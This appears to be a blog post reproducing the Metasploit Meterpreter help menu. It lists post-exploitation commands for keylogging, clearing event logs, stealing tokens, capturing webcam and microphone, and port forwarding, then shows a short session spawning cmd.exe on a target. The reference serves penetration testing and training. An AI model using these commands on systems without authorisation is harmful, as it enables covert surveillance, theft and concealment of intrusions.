control – metasploit meterpreter

meterpreter > help

Core Commands

Command                   Description
——-                   ———–
?              –                         Help menu
background              –                Backgrounds the current session
bgkill              –                   Kills a background meterpreter script
bglist              –                 Lists running background scripts
bgrun              –                    Executes a meterpreter script as a background thread
channel              –                   Displays information about active channels
close              –                    Closes a channel
detach              –                     Detach the meterpreter session (for http/https)
disable_unicode_encoding              –   Disables encoding of unicode strings
enable_unicode_encoding              –   Enables encoding of unicode strings
exit              –                      Terminate the meterpreter session
help              –                       Help menu
info              –                     Displays information about a Post module
interact              –                 Interacts with a channel
irb              –                      Drop into irb scripting mode
load              –                      Load one or more meterpreter extensions
migrate              –                    Migrate the server to another process
quit              –                     Terminate the meterpreter session
read              –                       Reads data from a channel
resource              –                  Run the commands stored in a file
run              –                     Executes a meterpreter script or Post module
use              –                    Deprecated alias for ‘load’
write              –                 Writes data to a channel

Stdapi: File system Commands

Command       Description
——-       ———–
cat              –                           Read the contents of a file to the screen
cd              –                             Change directory
del              –                            Delete the specified file
download              –                       Download a file or directory
edit              –                           Edit a file
getlwd              –                         Print local working directory
getwd              –                          Print working directory
lcd              –                            Change local working directory
lpwd               –                          Print local working directory
ls              –                             List files
mkdir               –                         Make directory
pwd              –                            Print working directory
rm               –                            Delete the specified file
rmdir               –                         Remove directory
search              –                         Search for files
upload               –                        Upload a file or directory

Stdapi: Networking Commands

Command       Description
——-       ———–
ifconfig              –                       Display interfaces
ipconfig              –                       Display interfaces
portfwd              –                        Forward a local port to a remote service
route              –                          View and modify the routing table

Stdapi: System Commands

Command       Description
——-       ———–
clearev              –                        Clear the event log
drop_token              –                     Relinquishes any active impersonation token.
execute              –                        Execute a command
getpid              –                         Get the current process identifier
getprivs           –             Attempt to enable all privileges available to the current process
getuid              –                         Get the user that the server is running as
kill               –                          Terminate a process
ps              –                             List running processes
reboot              –                         Reboots the remote computer
reg              –                            Modify and interact with the remote registry
rev2self              –                       Calls RevertToSelf() on the remote machine
shell              –                          Drop into a system command shell
shutdown              –                       Shuts down the remote computer
steal_token        –    Attempts to steal an impersonation token from the target process
sysinfo              –                        Gets information about the remote system, such as OS

Stdapi: User interface Commands

Command        Description
——-        ———–
enumdesktops              –                    List all accessible desktops and window stations
getdesktop              –                      Get the current meterpreter desktop
idletime              –     Returns the number of seconds the remote user has been idle
keyscan_dump              –                    Dump the keystroke buffer
keyscan_start              –                   Start capturing keystrokes
keyscan_stop              –                    Stop capturing keystrokes
screenshot              –                      Grab a screenshot of the interactive desktop
setdesktop              –                      Change the meterpreters current desktop
uictl               –                          Control some of the user interface components

Stdapi: Webcam Commands

Command       Description
——-       ———–
record_mic          –                    Record audio from the default microphone for X seconds
webcam_list              –                    List webcams
webcam_snap              –                    Take a snapshot from the specified webcam

meterpreter > execute -f cmd.exe -c
Process 1120 created.
Channel 1 created.
meterpreter > interact 1
Interacting with channel 1…

2 thoughts on “control – metasploit meterpreter

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s